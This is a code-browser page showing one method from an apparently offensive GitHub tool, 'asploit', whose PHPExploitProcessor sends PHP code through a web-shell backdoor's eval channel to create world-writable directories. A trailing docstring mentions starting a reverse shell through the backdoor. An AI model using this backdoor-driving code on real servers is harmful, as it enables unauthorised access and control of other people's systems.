MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__mkdir

Method _Base__mkdir

src/PHPExploitProcessor.py:285–295  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

283 print(out)
284
285 def _Base__mkdir(self, options: str):
286 out = self.__eval(f"$out='Already exists.';"
287 f"if(!file_exists('{options}')){{"
288 f"$out='Done';"
289 f"if(!mkdir('{options}', 0777, true)){{"
290 f"$out='Failed to make directory.';"
291 f"}}"
292 f"}}"
293 f"header('{self.header}: ' . "
294 f"$out);")
295 print(out)
296
297 """
298 @brief Start a reverse shell through the backdoor.

Callers

nothing calls this directly

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected